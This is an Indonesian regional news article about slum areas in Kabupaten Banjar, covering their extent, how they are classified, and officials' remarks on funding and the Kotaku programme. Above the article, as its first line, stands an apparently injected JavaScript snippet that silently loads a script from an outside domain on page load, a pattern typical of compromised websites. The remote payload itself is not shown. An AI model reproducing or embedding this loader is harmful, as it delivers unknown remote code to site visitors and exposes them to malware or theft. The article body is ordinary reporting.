(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

573,04 Ha Kawasan Kumuh Kabupaten Banjar di 32 Titik, Tersebar 12 Kecamatan-36 Desa


MARTAPURA, Kabupaten Banjar dengan luas wilayah 4.688 km2,  masih memiliki 32 kawasan kumuh dengan total seluas 573,04 hektare. Kawasan kumuh itu terbagi di 12 wilayah kecamatan dan 36 desa, mengacu berdasarkan data dukung identifikasi lingkungan permukiman kumuh perkotaan tahun 2016 berdasarkan Surat Keputusan (SK) 2013.

Akhmad Bayhaqie ST MT, Kabid Kawasan Permukiman Dinas Perumahan dan Permukinan Kabupaten Banjar menjelaskan ada seluas 573,04 hektare kawasan kumuh yang dimiliki oleh Kabupaten Banjar yang terdiri dari tiga kewenangan penanganan, seperti kewenangan yang dijalankan oleh pusat dengan luas 430,6 hektare, provinsi dengan luas 26,7 hektare dan kabupaten dengan luas 115,8 hektare.

Dari 32 kawasan permukiman kumuh itu, 11 di antaranya kategori kumuh berat, 13 kumuh sedang dan 8 sisanya kumuh ringan.

“11 kawasan permukiman kumuh berat berada di Kelurahan Murung Keraton, Desa Murung Kenanga, Desa Antasan Senor Ilir, Kelurahan Gambut, Desa Simpang Warga, Kelurahan Jawa, Kelurahan Kertak Hanyar 1, Desa Sungai Tabuk Kota, Desa Bawahan Pasar, Desa Astambul Kota dan Desa Aluh-aluh Besar,” sebut Akhmad Bayhaqie.

“Dari 12 kecamatan yang ada, Kecamatan Martapura Barat merupakan kecamatan yang memiliki kawasan pemukiman kumuh terluas, terdapat 184,77 hektare kawasan kumuh terbagi di dua desa dengan katagori ringan, yakni Desa Teluk Selong Ulu dan Desa Teluk Selong,” ungkapnya.

Masih menurut Bayhaqie, ada tujuh indikator terkait persoalan dikatakan kawasan kumuh seperti sasalah rumah tidak layak huni, akses sanitasi, akses jaringan jalan, persampahan, drainase lingkungan, pencegahan bahaya kebakaran dan masalah air minum.

Untuk menuntaskan tujuh indikator tersebut Diperkim Banjar berkalaborasi dengan berbagai pihak dinatranya Dinas Pekerjaan Umum dan Penataan Ruang dan Dinas Lingkungan Hidup.

Berdasarkan penuntasan kawasan kumuh dengan luas 115,8 hektare yang jadi tanggung jawab kabupaten, ditarget dalam 5 tahun kedepan pengurangan kawasan kumuh bisa tercapai 0% kawasan kumuh.

“Maka jika dikalkulasi yakni ada seluas 20,2 % atau setara dengan 23,39 hektare per tahunnya penuntasan kawasan kumuh yang direalisasikan oleh pihak kecamatan,” ungkap Bayhaqie.

Dalam pelaksanaan, menurut Bayhaqie penuntasan kawasan kumuh di Kabupaten Banjar terkendala masalah dana yang terbatas, yakni hanya dianggarkan Rp 500 juta pertahun. Sementara kewenangan kerjasama dalam kaloborasi dengan dinas terkait masih tidak berimbang. Sehingga menjadi masalah atau kendala yang dihadapi oleh Disperkim Kabupaten Banjar.

Terpisah kepada Kanal Kalimantan, dalam penuntasan kawasan kumuh, Rizqon, Kepala Seksi (Kasi) Penataan Bangunan dan Pengembangan Permukiman Bidang Cipta Karya Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kabupaten Banjar menjelaskan, dalam penuntasan kawasan kumuh pihaknya mempunyai program Kota Tanpa Kumuh (Kotaku) yang merupakan satu dari sejumlah upaya strategis Direktorat Jenderal Cipta Karya PUPR untuk mempercepat penanganan permukiman kumuh di Indonesia dan mendukung Gerakan 100-0-100. Yaitu 100 persen akses universal air minum, 0 persen permukiman kumuh, dan 100 persen akses sanitasi layak.

Program Kotaku difokuskan pada kawasan perkotaan, ada enam kelurahan di Kabupaten Banjar penerima bantuan dana dalam program Kotaku dengan nilai sebesar Rp 500 juta per kelurahan.

“Kelurahan Jawa, Tanjung Rema Darat, Tanjung Rema, Murung Keraton, Pesayangan, dan Murung Kenanga dan sudah teralisasi 100% pada 2017 lalu,” katanya.

Kendala penuntasan program Kotaku, menurut Rizqon hal terbesar adalah terkait kepemilikan tanah warga. “Harus ada kesediaan masyarakat untuk menjual atau ganti rugi terhadap tanahnya yang ingin dibangun jalan lingkungan,” ungkapnya.

Ketika disinggung penuntasan kawasan kumuh tidak sinkron dengan Disperkim, Rizqon tidak begitu mengerti tentang hal tersebut, diakui program ini memang dari pusat seperti itu.

“Tidak dipungkiri di beberapa wilayah juga begitu, hampir 80% menjadi pro dan kontra, mengapa penuntasan kawasan kumuh untuk penanganannya harus dibagi dalam beberapa instansi,” tegasnya.

Rizqon berharap dalam penuntasan permukiman kumuh di Kabupaten Banjar harus ada kerja keras dan kesolidan antara instansi terkait, sehingga kalaborasi berjalan dengan lancar dan sukses. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

2 menit ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

2 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

2 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

2 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

4 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

5 jam ago

This website uses cookies.